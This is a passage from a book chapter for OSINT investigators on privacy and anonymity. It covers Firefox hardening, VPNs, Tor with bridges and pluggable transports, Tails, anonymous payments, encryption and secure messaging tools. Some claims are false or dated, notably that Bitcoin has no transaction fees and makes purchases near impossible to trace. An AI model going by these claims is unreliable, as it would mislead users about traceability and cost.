online activities Figure 2-15. Configuring the Privacy tab in the Firefox browser for better privacy CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 62 Move to the Security tab and configure it like in Figure 2-16. Figure 2-16. Configuring the Security tab to stop phishing and dangerous websites Go to “Privacy & Security” tab ➤ “Firefox Data Collection and Use” pane and disable the following options: Allow Firefox to send technical and interaction data to Mozilla and Allow Firefox to send backlogged crash reports on your behalf. We are using for this step Firefox Quantum edition—version number 61. Crash reports can contain valuable data about your computer status that can make you vulnerable if it falls into the wrong hands, so it is better to disable them. While you are still on the Advanced tab, go to the Network subtab, and make sure that the option “Tell me when a website asks to store data for offline use” is selected. This prevents websites from planting a tracking code on your computer. Now that you have finished configuring the basic settings of Firefox to make it more privacy-friendly, you need to move to the advanced settings to continue your work. Access the Firefox advanced settings page by typing about:config in the URL address bar of your browser. A warning message will appear; hit the button “I accept the risk!” to access the advanced settings panel. To access a specific setting, you need to type its name in the Search box that appears at the top of the page. To begin, let’s change the first setting named browser.formfill. enable to false (double-click to change the settings value). This forces Firefox to forget form information (see Figure 2-17). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 63 Now, in the same way, you need to change the following settings: • Change browser.cache.disk.enable to false. • Change browser.cache.disk_cache_ssl to false. • Change browser.cache.offline.enable to false. • Change dom.event.clipboardevents.enabled to false. • Change geo.enabled to false. • Change network.cookie.lifetimePolicys value to 2. • Change plugin.scan.plid.all to false. These advanced configurations will “harden” Firefox and make it more difficult for outside parties to track your activities. In the next section, we will cover privacy add-ons that can further secure Firefox and fight against online tracking and user profiling. Firefox Privacy Extensions A selection of the best Firefox extensions (see Table 2-6) that help you to maintain your online privacy will be mentioned here. Please note that some add-on providers may fool users and collect private data about browsing habits and even personal information without their consent, so it is advisable to avoid installing any add-on except the ones mentioned in this section. Also, if a new reliable add-on appears later (say after publishing this book), ensure that it comes from a reputable trusted developer and install it from https://addons.mozilla.org exclusively. Figure 2-17. Accessing the advanced settings page in Firefox and disabling form history in Firefox CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 64 Fighting Against Digital Fingerprinting and Browser Leak We’ve already covered a good amount of information on how to make your web browser more resistant to fingerprinting. Despite all these techniques, we cannot guarantee a 100 percent technical solution to stop this privacy invasion. The best solution is to access the Internet using a freshly installed of the Firefox browser. This will effectively make your browser look like most browsers’ fingerprint! To make things more hidden, install your web browser within a virtual machine. This will also conceal your current machine— hardware and software—configurations. Of course, you still need to use a VPN to encrypt your connection and conceal your IP address. Secure Online Communication In this section, we will show you how to use different techniques to conceal your real IP address and to make your connection encrypted so it is hard to intercept. Please note that the term privacy is different from anonymity, although they are interrelated in many ways. So, in this context, VPN and proxy servers will help to mask your traffic; outside observers will see that there is traffic originating from your computer, but they cannot Table 2-6. Firefox Privacy Add-on Add-on Work URL HTTpS everywhere encrypts your communications with many major websites, making your browsing more secure. https://www.eff.org/HTTPS- EVERYWHERE privacy Badger Blocks spying ads and invisible trackers. https://www.eff.org/ privacybadger uBlock Origin General-purpose blocker with custom rules set by the user. https://addons.mozilla.org/ en-US/firefox/addon/ublock- origin/ random agent Spoofer rotates complete browser profiles (from real browsers /devices) at a user-defined time interval. https://addons.mozilla.org/ nn-no/firefox/addon/random- agent-spoofer/ CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 65 see what is passing (for example, ISPs and governments cannot see which websites you are visiting). In addition, all the websites you are visiting—and the applications you are using—will not see your real IP address. In anonymity, an outside observer should not be able to know the source of the connection; hence, they cannot attribute your online activities to you. Both privacy and anonymity are important for any OSINT analyst and should be fully understood before you begin your OSINT work in the rest of the book. VPN A VPN allows a user to establish a secure connection from one site to another across the Internet (see Figure 2-18). It is widely used in corporations to access remote sites while assuring the confidentiality of sensitive data. The VPN also gives users anonymous IP addresses, making them appear as if in another location so they can avoid censorship, share files with other people privately, and more. Nowadays a VPN is a necessity for anyone who cares about their privacy when going online. Figure 2-18. How a VPN works (source: www.DarknessGate.com) VPN vendors offer varying features. You should care about the following features when selecting your VPN provider: • Do not subscribe to VPN service providers that are based in one of the following countries: United States, United Kingdom, Australia, New Zealand, Canada, Denmark, France, Netherlands, Norway, CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 66 Belgium, Germany, Italy, Spain, Israel, Sweden, and of course countries such as Russia, China, Iran, and all Arab states. The best providers are based in Switzerland and follow its jurisdiction. • A VPN provider must have its own DNS server; it must also support DNS leak protection (more on this next). • It is preferred that the VPN software support the OpenVPN software. This is an open source program that can be audited by anyone to assure it’s vacant from any backdoors. • It should accept anonymous payments such as bitcoin, gift cards, debit cards, and cash. • It is better to support multiple devices at the same time so you can protect your tablet and smartphone data in addition to your laptop or PC. • It should not require many details to set up; a username and a password should be enough. Note! If your ultimate purpose is anonymity and plausible deniability, use the Tor Browser instead of a VpN. Proxies A proxy server is an intermediary computer that sits between your computing device and the Internet. Corporations use proxies to filter content and to offer a level of security by separating a corporate local network from the Internet. There are different kinds of proxies; the main type is the web proxy that most Internet users mean when using the term proxy. Its main function is to fetch online resources—whether it is a page or a file— from the Internet and then send them to your computer. They also provide anonymity by changing the real IP address of the user’s computer into the IP address of the proxy server (see Figure 2-19). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 67 Numerous free proxy servers are available online. However, we strongly recommend that such services are not used. A free proxy usually shows advertisements in your browser, which may introduce malicious software or other tracking scripts that could infect or compromise your machine if you click a malicious link. In addition, most free proxies are not secure enough to trust to process and communicate your critical data, such as credit card details and account passwords. DNS Leak Test Using a VPN—and other anonymity services—does not guarantee that your web browsing history will not get revealed. Sometimes even though you are protecting your connection using a VPN, a connection leak can occur and reveal the real IP address without you being aware. Such a leak occurs when part of your computing device traffic (DNS traffic) is not routed through the secure channel of the anonymity service you are using and hence the VPN. Instead, it gets directed to your ISP’s Internet servers (see Figure 2-20), allowing them to potentially monitor and log the complete web browsing history, even though you’re using a VPN. Figure 2-19. How a proxy server works (source: www.GarknessGate.com) CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 68 To ensure that your VPN provider is not vulnerable to this risk, you are strongly advised to test your connection directly after connecting to your VPN provider, as follows: 1. Go to https://www.dnsleaktest.com. 2. You will see two buttons along with your current IP address. The first button is labeled “Standard test,” and the second is “Extended test.” Click the second button for detailed results. 3. The detailed results page will show you a list of all the DNS servers (along with their locations) that are used to resolve your typed website URLs into IP addresses. If any of these servers are not related to your VPN provider company, this means your connection is leaking information about you. Figure 2-20. How a DNS leak occurs (source: www.darknessgate.com) CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 69 Reputable VPN providers have a connection leak prevention mechanism. However, you need to make sure that your VPN provider has this feature enabled automatically for your connection. Warning! always do dNS leak testing, as explained, to assure that your dNS traffic is tunneled through your VpN-encrypted tunnel and not through your ISp. Online Anonymity When working online to collect OSINT sources, it is vital to remain completely anonymous. VPN allows you to mask your IP address and scramble the transferred contents to and from your PC. However, the VPN provider can intercept all your communications in plain sight. For mission-critical tasks, it highly advisable to use anonymous networks (e.g., Tor, I2P, and Freenet). This allows you to conceal your identity when surfing or publishing information online. In the following section, we will cover the Tor Network, which is considered the most used anonymous network today. Using the TOR Network Tor is the most popular anonymous network currently used online; it is mainly composed of these two parts: • The piece of software you run on your machine to access the Internet anonymously • The Tor Network of volunteer computers that direct your online traffic Tor enables users to achieve a high level of online anonymity by encrypting both the data and the destination IP addresses prior to sending them through a virtual circuit, which consists of many nodes (no fewer than three nodes at any given time). Each node then decrypts part of the data to reveal only the next node in the circuit to direct the remaining encrypted data to it. The next node performs the same function until the message reaches the final node, called the exit relay. The exit relay decrypts the data without revealing the source IP address, sending it on to its destination (see Figure 2-21). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 70 Note! The term node is used to describe any server working as part of the Tor Network of relays. Sometimes people use different terms for the node such as server, relay, or router. When using Tor to anonymize your location, it will use the exit relay IP address instead of your real IP address as the source IP address. This will effectively conceal your identity online. To use the Tor Network to begin your OSINT searches, all you need to do is to download and use the Tor Browser. Tor Browser To access the Tor Network, download the Tor Browser from | https://www.torproject.org/ projects/torbrowser.html.en. The Tor Browser is a security-hardened Firefox browser that requires no installation on the client machine; you can safely run it from your USB drive. It comes with the Tor software that allows you to access the Tor Network transparently upon launching this browser without any extra configuration (see Figure  2- 22). Figure 2-21. How the Tor Network works CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 71 Figure 2-22. Successful launch of the Tor Browser Please note that only websites visited through the Tor Browser will get routed through the Tor Network anonymously; other browsers and applications already installed on your device will not use the Tor Network. Hiding Tor Usage An important point that should be carefully considered is hiding the usage of the Tor Browser from your ISP. This step is essential because using Tor Browser could be considered suspicious and even illegal in some countries. Other countries—and ISPs—may forbid access to the Tor Network. This will make using the Tor Browser more difficult for novice users. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 72 Detecting Tor usage is feasible using a variety of technical methods. However, in this section, we will introduce some techniques to conceal your Tor usage to a large extent, which makes detecting it difficult. Using a VPN You can hide Tor usage from your ISP by using a virtual private network service. The VPN will create an encrypted tunnel between your machine and the VPN server. Once that’s initiated, you can launch the Tor Browser, which will be hidden from your ISP to a large extent. Using Tor Bridges Bridge relays (or bridges for short) are Tor relays that aren’t listed in the main Tor directory. Bridges are considered entry points to the Tor Network. Since there is no complete public list of them, even if your ISP is filtering connections to all the known Tor relays, it probably won’t be able to block all the bridges. Please remember that this method may not fully guarantee that your ISP will not detect your Tor usage, but it will make discovering this fact difficult and will require sophisticated techniques to uncover. To get Tor bridges, do one of the following: • Go to https://bridges.torproject.org/bridges and get your bridges. • Send an email to [email protected] with the line “get bridges” by itself in the body of the email. You must send this email from one of the following email providers: Riseup, Gmail, or Yahoo. Now, you need to configure the Tor Browser to use these bridges. To do so, follow these steps: 1. To enter bridges into the Tor Browser, launch the Tor Browser, and before the Tor Browser connects, click the Open Settings button (see Figure 2-23). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 73 2. A Tor Network Settings window appears; click the Configure button. 3. Tor asks you whether your ISP is blocking or otherwise censoring connections to the Tor Network; click Yes and click Next to continue. 4. In the next wizard window, select the option “Enter custom bridges” (see Figure 2-24). Copy the bridges you have from step 1 or step 2 and paste them in the box; click Next to continue. Figure 2-23. Accessing Tor Network settings before launching the Tor Browser Figure 2-24. Entering custom bridges into the Tor Browser CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 74 5. The next wizard asks you whether your computer sits behind a proxy server; in our case, you don’t need one (which is the most common). Select No and click the Connect button to continue. If you are sitting behind a proxy server, select Yes, then enter your proxy settings, and finally click Connect. If everything works as expected, the Tor Browser will open using the customized bridges. As we have already introduced, using customized Tor bridges may not fully mask your entry to the Tor Network. Some countries use a deep packet inspection (DPI) technique to analyze Internet traffic flows by protocol to examine whether they contain Tor traffic. However, using customized bridges is still a good way to circumvent Tor censorship and conceal its usage in many countries. Using Pluggable Transports To work around the DPI censorship technique, Tor has introduced the pluggable transport (PT). This technique transforms the traffic between your computer and the bridge into typical Internet traffic, thus hiding your Tor usage from your ISP. To use a pluggable transport, do the following: 1. Launch the Tor Browser and click the Open Settings button before Tor starts. 2. Click the Configure button, select the Yes option when asked whether your ISP blocks or censors connections to the Tor Network, and click Next to continue. 3. Select the option “Connect with provided bridges” and select a bridge from the Transport Type drop-down menu (see Figure 2-25). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 75 4. The final wizard window will ask you whether this computer sits behind a proxy server. In our case, it does not, so you can select the No option and click the Connect button. If you are sitting behind a proxy server, select Yes, enter your proxy settings, and click the Connect button. If everything goes well, the Tor Browser should now be able to load successfully. Warning! What should you do to stay anonymous when using the Tor Browser? 1. do not install add-ons in your Tor Browser such as Flash player, adobe reader, and QuickTime player. Such extensions tend to open independent connections outside the Tor circuit, and this will leak your real Ip address. 2. do not open pdF files or play Flash video within your Tor Browser. Figure 2-25. Connecting to the Tor Network using a pluggable transport to conceal your Tor usage CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 76 3. If you are exchanging sensitive data through the Tor Network, make sure to encrypt it first. The Tor exit relay—which is used to establish the connection with the destination—is not encrypted. If an intruder sits at that location, he can intercept your connection. 4. make sure when using the Tor Browser to not use your real identity to register or post comments on websites. Of course, as an OSINT analyzer, keeping your identity secret is the main reason to use the Tor Network. Using the Tails OS and Other Security OSs Sometimes you may want to achieve the highest anonymity possible through using a specialized OS that directs all Internet traffic through the Tor Network. The Tor Browser is more than enough for concealing your identity when conducting regular OSINT searches; however, when working on sensitive cases or exchanging information with other parties, it is necessary to use an anonymous OS. Tails is a Linux security-hardened OS that uses Tor as its default networking application. It is considered the best anonymous OS currently available, and for the record, this is the OS that Edward Snowden used to help stay anonymous during the initial NSA spying leaks. You can use Tails to communicate privately with confidence in extremely hostile environments. Tails is portable. Hence, you can execute it from within your USB stick drive, and it is fully independent of the host machine. Tails runs using the host machine’s RAM and does not copy any files to the resident host machine’s hard disk. Tails achieves its anonymity by forcing all network connections to go through the Tor Network. If an application tries to connect to the Internet directly, the connection is automatically blocked. Tails leaves no traces on the host machine’s hard disk. Upon shutdown, Tails will delete all user files, unless explicitly asked not to (persistent storage). Tails comes with many cryptographic tools that allow you to send encrypted emails and have secure IM chats. We will cover installing and using Tails in Chapter 3. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 77 Sharing Files Securely Sometimes you may want to share files privately with other parties located in another location. This is especially important for any OSINT analyst who may need to request and share information with colleagues to support a case. There are numerous file- sharing services, but the majority are not built to be completely anonymous. They usually require an account to share files and store some information (also called transaction metadata, which includes uploader and downloader IP addresses among other things) about each transaction happening through them. Such a thing is not suitable for investigators working on sensitive legal cases. In this section, we will introduce a secure file-sharing service through the Tor Network; it is considered the most anonymous solution to exchange private files online. OnionShare OnionShare is an open source tool that uses the Tor Network to share files anonymously. You can share any type and size of files. Your shared files will not get uploaded to the Internet. Instead, they will remain on your computer, which plays the role of a hosting service. All you need to do to share files is to share the URL given by the tool to the person you are corresponding with who should access it using the Tor Browser. To use OnionShare, follow these steps: 1. Download and install the program from https://onionshare.org. 2. Launch the tool and select the files/folders you want to share. Make sure your Tor Browser is launched and connected to the Tor Network. 3. After selecting which files/folders you want to share, click the Start Sharing button. OnionShare will create a hidden Tor service for your shared files hosted on the Tor Network and will give you a URL to send to your correspondent. You can get this URL by clicking the Copy URL button (see Figure 2-26). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 78 4. Your correspondent must access the shared URL through the Tor Browser. 5. Your OnionShare program and the Tor Browser should remain open until your correspondent finishes downloading your shared files. When the recipient receives your file successfully, OnionShare will stop the sharing process automatically. (To stop sharing automatically after the recipient receives the file, you must enable the option “Stop sharing automatically” in the OnionShare program before sharing files.) Note! For security-conscious people who want to share sensitive files, we advise you to use the Tails OS when sharing files through the OnionShare program. Figure 2-26. OnionShare provides a URL for your shared files, sends it to the recipient, and keeps it private CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 79 Making Anonymous Payments As an OSINT analyzer, during your search for OSINT sources, you may encounter websites that request you pay a fee to see some resources (mainly gray literature). This frequently happens when requesting academic papers or a corporation’s internal documents. The same thing applies when buying anonymity services online (e.g., paying for a VPN provider anonymously). As you know, you may be part of a legal investigation and do not want to reveal your real identity when investigating some types of resources. In such cases, it is necessary to pay for such services anonymously. In ordinary cases, when you purchase something online, your name, credit card information, and other transaction details will be available to the online merchant. Your credit card issuer and the bank will also know about your transaction details, and no one can guarantee how long these details will remain stored and whether any third party (e.g., advertisement agency) may have access to it. To purchase digital goods and services online anonymously, you can either use a gift credit card or pay using cryptocurrency. Prepaid Gift Card Major credit card providers offer prepaid cards for their customers. Such cards do not require any personal information to set up; they also do not require the existence of a bank account to work. Such cards are available in drugstores and supermarkets and are used specifically to purchase digital goods like VPNs and other anonymity services (although please note that not all websites accept such cards). There are different types of prepaid cards. What we care about for this book is the anonymous type, which is the “nonreloadable” card. This card comes preloaded with a specific amount of cash—usually less than $500. You can purchase them with cash (which is untraceable) without revealing any personal information; even your e-mail address is not required. Warning! do not buy prepaid credit cards online. If you buy a prepaid credit card online, you need to pay for it using some form of nonanonymous payment like an ordinary credit card, a bank check, or paypal. In addition, you need to supply your postal address to receive the card (if it is a physical plastic card). This will link the purchased credit card to your real identity. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 80 Cryptocurrency Cryptocurrency is a type of digital currency that is designed to work as a medium of exchange using cryptography to secure the transaction and to control the creation of additional units of currency. There are hundreds of cryptocurrency types already in use; the most famous is still the bitcoin system. You can find a list of currently available cryptocurrency at https://coinmarketcap.com. Bitcoin (https://bitcoin.org) is a decentralized and unregulated peer-to-peer payment network (like the Torrent network) that is powered by its users with no central authority or middleman. Bitcoin is a digital system; it is not printed like ordinary currency (dollars and euros) and is created by people and companies using a specialized open source software program called a bitcoin wallet (the wallet can be an online service; hence, it is called an e-wallet). Bitcoin does not charge fees on transactions, and it is nonrefundable (once you send bitcoin to a recipient, it will be gone forever unless the recipient returns the bitcoin to you). We will not delve deeply into the technical side of the bitcoin digital currency and how to set up an account to buy products using it because it is out of the book’s scope. What you should know about bitcoin is that you can make anonymous purchases using this currency that are near impossible to uncover. In the following list, we will give you some reputable online sources to understand how this currency works. • Getting started with Bitcoin: https://bitcoin.org/en/getting- started • Bitcoin wallets: https://blockchain.info/wallet • Bitcoin wallet programs: https://en.bitcoin.it/wiki/Clients • Buy bitcoin anonymously with cash using ATM machines: https://coinatmradar.com Bitcoin payments are extremely anonymous; however, there is a bit of a learning curve for buying and exchanging bitcoin. Before moving on, consider the following when conducting anonymous purchases online: • Encrypt your online connection before making an anonymous payment. When paying anonymously online, make sure to anonymize your connection using an anonymizing network like Tor or I2P. Paying anonymously without masking your IP address will expose your technical connection details to different parties, and this may lead to revealing your identity. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 81 • Registering for anonymity services, like a VPN, and even conducting some online purchases using an anonymous payment method may require users to supply their e-mail address as part of the transaction. Make sure not to use your primary email address; instead, use a temporary email address for such tasks. Encryption Techniques Encryption provides a robust set of techniques to ensure secure transactional sensitive data flows online, thus preventing hackers and cybercriminals from accessing sensitive content, even if they succeed in capturing the transmitted encrypted data. The mathematical formulas involved in today’s cryptographic standards are enough to prevent most attackers from decrypting stolen data. In this section, we will present some tools and advice that helps you to keep your confidential data private by encrypting it. Securing Your Passwords Make sure to secure your online accounts using strong, complex passwords. It is also highly recommended to change your password every three months. There are many free tools to aid you in the password generation process. Such tools will produce highly secure passwords that contain a combination of letters, numbers, and symbols. Here is a list of some of these tools: • Free Password Generator (https://www.securesafepro.com/ pasgen.html) • PWGen (http://pwgen-win.sourceforge.net) Many websites offer online password generation services. However, we prefer not to use such services because your password can be intercepted while traveling to your PC. To store your passwords, you should use a security program to keep them safe; using a password manager program is essential to keep all your passwords in a safe location. A password manager encrypts the database that contains your credentials and protects it with a master password. This is the only password you must remember. • KeePass Password Safe (http://keepass.info) • Master Password (https://ssl.masterpasswordapp.com) • Password Safe (https://www.pwsafe.org) CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 82 Encrypting Your Hard Drive/USB Sticks Encrypting data becomes essential in today’s digital age as it considered the last line of defense if an attacker successfully gains access to your confidential data. In other words, encryption will be your last hope to prevent the compromise, use, or disclosure of your sensitive information to the public or to your enemies. Keeping stored information on a hard drive secure is easy when using encryption software. For instance, Windows provides a built-in encryption utility that is available for most of its versions (Windows 7 and beyond) called BitLocker. Using this utility is easy; all you need to do is to right-click the drive you want to encrypt and select Turn on BitLocker (see Figure 2-27). A wizard will appear that walks you through all the steps to configure your drive encryption (setting a password and storing a recovery key). Figure 2-27. Activate BitLocker on a Windows box There are many reputable disk encryption software applications that provide disk and even OS partition encryption. VeraCrypt (https://www.veracrypt.fr/en/Home.html) is supported on all major OSs. It can encrypt hard drives including OS partitions and USB stick drives. VeraCrypt also creates encrypted vaults that can be used to store data and then transfer it into a USB stick or send it over the Internet securely. You can check the documentation section for how to use this tool in different scenarios. DiskCryptor (https://diskcryptor.net/wiki/Main_Page) offers encryption of all disk partitions, including the system partition. It is supported only on Windows OS. Cloud Storage Security Most people are using cloud storage to back up and store their sensitive data (such as documents, personal pictures, contact lists, address books, and the like). The many security incidents that have taken place lately with major cloud service providers shows that their security measures alone may not be enough to stop such CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 83 compromises. To counter such risks, don’t rely on the cloud service provider to secure your data. Always encrypt your data before uploading it to the cloud and make sure to have a backup copy stored somewhere else when dealing with sensitive data. Here are two programs that can be used to secure your data before uploading it to the cloud: 1. Duplicati (https://www.duplicati.com) uses AES-256 or GPG to encrypt your data before sending it to the cloud. 2. Cryptomator (https://cryptomator.org) uses AES-256 to encrypt your data and uses SCRYPT to protect against brute-force attacks. It works by creating an encrypted vault—a virtual hard drive—on your local machine that encrypts everything inside it before uploading it to the cloud provider. Please note that compression programs like 7-Zip (www.7-zip.org) and PeaZip (www.peazip.org) also offer encryption features, so you can compress and protect your files with a password before uploading it to the cloud. Secure E-mail Communications Whenever an e-mail is sent, it should be encrypted to assure the integrity and confidentiality of its contents. In today’s digital age, e-mail becomes the main means of communications for both individuals and public/private organizations, and breaching this communication medium would have a serious consequence. E-mail data breaches occur daily to assure that the contents of your emails are secure, so you should use encryption software. Detailing how to incorporate encryption in your e-mails is beyond this book’s scope. However, in this context, you should understand that when sharing information with colleagues (e.g., as part of your OSINT investigation) through e-mails, you should take care to encrypt it first. In this section, we will give you resources and tools to learn how to do this. However, if you want to understand the ins and outs of e-mail encryption, you should check out our book Digital Privacy and Security Using Windows: A Practical Guide (Apress, 2017). • Gpg4win (GNU Privacy Guard for Windows) allows you to create cryptographic keys (public and private keys), encrypt files and folders, and sign your e-mails before sending (digital signature). Gpg4win is the official GnuPG distribution for Windows and can be found at https://www.gpg4win.org. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 84 • Another implementation of the GnuPG project to be used on other platforms can be found at https://www.gnupg.org/download/ index.html. • Mozilla Thunderbird can be configured to use GnuPG on all major platforms through installing the Enigma add-on, which adds OpenPGP message encryption and authentication to the Thunderbird e-mail client. It features automatic encryption, decryption, and integrated key management functionality. Note! You can direct your Thunderbird e-mails through the Tor Network by using an extension for mozilla Thunderbird called TorBirdy. according to its creators (it belongs to the Tor project), TorBirdy is still in beta release and should not be used to secure communications in extremely hostile environments. You can find information on how to install and use this extension at https://trac. torproject.org/projects/tor/wiki/torbirdy. A browser extension is available for both Firefox and Google Chrome called Mailvelope that can be used with most web e-mail services. It allows its users to exchange encrypted e-mails using the OpenPGP encryption schema. You can either generate your key pair or import existing one (for example, from Kleopatra). You can use this extension without installing any tools except the extension on your browser. It is open source and available at https://www.mailvelope.com/en. However, we do not recommend encrypting messages within web browsers because this will make them more vulnerable to cyberattacks that regularly hit browsers. Secure E-mail Providers If you prefer to use a webmail for some of your tasks, it is advisable to use a secure end- to- end e-mail provider that offers extended security features for your e-mail account. For instance, ProtonMail (https://protonmail.com) is different from other regular e-mail providers in many ways. It is based in Switzerland and follows its jurisdiction, which is considered the best one in the world in terms of protecting user privacy. ProtonMail uses two passwords to protect your e-mail account. The first one authenticates your account credentials on the server, and the second decrypts your inbox within your web browser or app, meaning that it never goes online to the ProtonMail server. If you are exchanging CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 85 e-mails with another ProtonMail user, you can safely set your emails to destroy itself within a time limit in addition to sending encrypted e-mails to other ProtonMail users. It is especially useful to destroy sensitive e-mails automatically on both sides of the communications. Finally, if you want to use an e-mail for only one time (for example, to activate some services anonymously), you can go with any of the following two services: • https://hidester.com/temporary-email • https://www.guerrillamail.com Secure IM and Online Calling Services IM conversations are another form of communications that you may need to protect. No one can guarantee that giant IT providers that offer free IM, voiceover IP, and video conference services do not log your chat—or at least the metadata of the conversation such as date/time and login IP address—for some period. We cannot discuss the security features of each available application in this book. However, we will focus on the security feature that makes one application more secure than the rest. For instance, most VoIP and chatting applications work the same way. They encrypt the messages exchanged between the people involved in the conversation, but they do not encrypt the message metadata. The best secure VoIP/IM application is one that has the following technical characteristics: it should be open source so its code can be audited by independent security experts, it should not offer/show ads or any type of commercial advertisements, the provider and hence the app should not store the decryption key on its server so no one can request the key to decrypt user data, it should not store any metadata about the user connection, and the user contact list should not be stored on the app server and if necessary it should be saved encrypted. It should offer clear options to choose what you want to backup before sending it to the cloud provider. The following are some popular secure and well-supported messaging apps: • Tor Messenger (https://trac.torproject.org/projects/tor/ wiki/doc/TorMessenger): Although it still in beta version, this is considered the best secure IM chat. Traffic is directed through the Tor Network for maximum anonymity. • Cryptocat (https://crypto.cat/security.html): This is an open source secure messaging application, it encrypt all communication by default and allows for secure sharing of files online. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 86 • Signal (https://whispersystems.org): This is a secure messaging and VoIP app; it is easy to use and offers similar functions as WhatsApp and Viber Apps. This app runs on Android and iPhone devices only. • Ghost Call (https://ghostcall.io): This is an end-to-end encrypted calling service. • ChatSecure (https://chatsecure.org): This IM program works only on iOS when it is configured to use OTR over XMPP. Virtualization Technology Use virtualization technology to enhance your privacy and protect your host machine from malware and other security threats. A virtual machine allows you to have a virtual operating system that behaves like a full, separate computer. You can use virtual machines to execute programs, open e-mail attachments, test programs, and visit dangerous websites safely without being afraid of malware affecting your operating system because the virtual machine will run in a sandbox isolated entirely from its host machine’s operating system. Online investigators can use virtual machines to conduct their online investigations securely, and they can use freshly installed browsers to mask their digital fingerprint, making it appear like millions of similar browsers. Finally, they can delete the entire virtual machine to clear any digital traces that may be left on the host machine! These are the most popular two virtual machines: • VMware Player (see Figure 2-28) (www.vmware.com/products/ player/playerpro-evaluation.htm) • Virtual Box (https://www.virtualbox.org) CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 87 You can also use portable programs that do not need to be installed to run. Such programs will usually leave a little trace on the host machine, but it is still considered a way to minimize your digital footprint online. Using a bootable USB token or live CD/DVD when working on sensitive documents is also a great practice to hide your digital traces. Running the Tails OS (https://tails. boum.org) in offline mode is a great practice. There are many tools that can help you to create a bootable USB/CD drive. The following are some of them: • Windows USB/DVD download tool (https://wudt.codeplex.com) • Rufus (https://rufus.akeo.ie) • WinBuilder (http://winbuilder.net) Figure 2-28. Multiple OSs can be installed on each virtual machine; this image shows seven OSs installed within one instance of the VMware program CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 88 Windows To Go is a new feature available in Windows 10 (Enterprise and Education editions only). It allows you to run the complete Windows 10 Live feature from a USB drive without needing to install it on your computer’s hard drive. You can access this feature from Control Panel ➤ Windows To Go. This feature allows you to take your Windows box with you wherever you go, but bear in mind that some Windows 10 features may not work when using the Windows To Go operating system. Android and iOS Emulator An emulator allows you to run the Android application on your computer as if it were on your smartphone. There are numerous reasons why an online investigator may want this to happen; maybe he wants to test the functionality of a specific app or simply wants to gather some information using a feature that is available only for smartphone apps. The protective measures to stay anonymous can be implemented more easily when running such applications—using an emulator—on your computer rather than on your smartphone. For instance, using a VPN and accessing resources using Tor anonymously is more convenient using a computer with a mouse. The same can be achieved with smartphone apps when running on a computer using emulators. Here is a list of the most popular emulators for both Android and Apple OS: • Andy (https://www.andyroid.net) • ARChon (https://github.com/vladikoff/chromeos-apk/blob/ master/archon.md), Google Chrome • MEmu (www.memuplay.com) • MOBIONE STUDIO (http://download.cnet.com/MobiOne-Design- Center/3001-2247_4-75910775.html), Apple apps Essential Prerequisites In this section, we will list some of the supporting software and methods that can aid an investigator for preparing the gathered OSINT data into usable formats for further analysis. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 89 Drawing Software and Data Visualization Drawing software—including mind mapping—and other data visualization tools help online investigators visualize their findings, make search plans, and avoid forgetting something during the gathering process; they also present the final results in a clear manner. In this section, we will focus on the best free programs/services available for aiding OSINT investigators in completing their mission. Mind Mapping and Idea Generation Tools When conducting OSINT gathering, it is better to use some tools to organize your findings. The following are some popular tools for drawing diagrams and charts, taking notes, and creating mind maps to visualize your results. FreeMind FreeMind (http://freemind.sourceforge.net/wiki/index.php/Main_Page) is the most popular free mind-mapping software. Using this tool, you can draw different diagrams that visually organize information. Storytelling Tools These tools help you to create a timeline for your OSINT gathering. Here are some popular free solutions: • Story Map (https://storymap.knightlab.com) • Visual Investigative Scenarios (https://vis.occrp.org) Diagramming Software The following are some tools for diagramming. Apache OpenOffice Draw Apache OpenOffice Draw (https://www.openoffice.org/product/draw.html) allows you to draw different technical and business process diagrams. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 90 Google Drawings Google Drawings (https://docs.google.com/drawings/create) is a free cloud-based diagramming tool developed by Google. Note Management Here are some tools for note management. TagSpaces TagSpaces (https://www.tagspaces.org) is an offline, open source, personal data manager that helps you organize files on your OS—Windows, Linux, Android, or Mac— using tags and notes to files/folders. KeepNote KeepNote (http://keepnote.org) is an open source cross-platform program for organizing your notes and to-do list. You can attach different media—like such as and videos—to your note making it more informative. Data Visualization Here are some tools for data visualization. Microsoft Excel This helps you to summarize large amounts of data and present it in charts/tables and other graphical visualizations. Microsoft Excel is proprietary software by Microsoft. Business Intelligence and Reporting Tools Business Intelligence and Reporting Tools (https://www.eclipse.org/birt/about) is open source software that helps you to visualize data and 